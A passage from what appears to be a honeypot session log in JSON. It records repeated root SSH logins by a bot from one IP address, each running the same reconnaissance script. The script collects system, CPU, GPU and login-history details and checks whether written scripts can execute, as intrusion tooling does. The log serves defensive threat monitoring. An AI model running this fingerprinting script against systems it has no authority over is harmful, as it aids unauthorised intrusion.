  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:26:21.101729+00:00",
  "ended_at": "2026-08-27T09:26:21.246360+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "48321147-66eb-4acf-aaec-1decac3c9945",
  "name": "cunning-muted-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 36468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:24:32.857794+00:00",
  "ended_at": "2026-08-27T09:24:33.005017+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "76b5fce1-d3b5-489f-9f7c-b2d8d8d97b14",
  "name": "primal-sincere-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56942,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:24:22.750758+00:00",
  "ended_at": "2026-08-27T09:24:42.983640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "37d21917-4b70-499f-be22-40bba0e69af4",
  "name": "frank-lucid-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 33304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:22:46.454169+00:00",
  "ended_at": "2026-08-27T09:22:46.657998+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4f9601fb-c465-4f20-9e08-594a530192fb",
  "name": "graceful-golden-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 58454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:20:55.404603+00:00",
  "ended_at": "2026-08-27T09:20:55.517875+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6a7f6280-654f-4ac4-a586-cd52234799df",
  "name": "blithe-sincere-serval",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "51.68.107.148",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:19:06.668271+00:00",
  "ended_at": "2026-08-27T09:34:10.739257+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "45822ab6-fd55-4ae2-a18c-7a913dc9339d",
  "name": "leafy-patient-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 55320,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:18:56.673747+00:00",
  "ended_at": "2026-08-27T09:18:56.784931+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5535f557-f1d5-416d-a061-a3f044d1bb47",
  "name": "primal-graceful-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 52198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:17:06.397516+00:00",
  "ended_at": "2026-08-27T09:17:06.635302+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e0df4fff-4d77-4538-80bc-886302ba6e59",
  "name": "windswept-humble-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 49078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
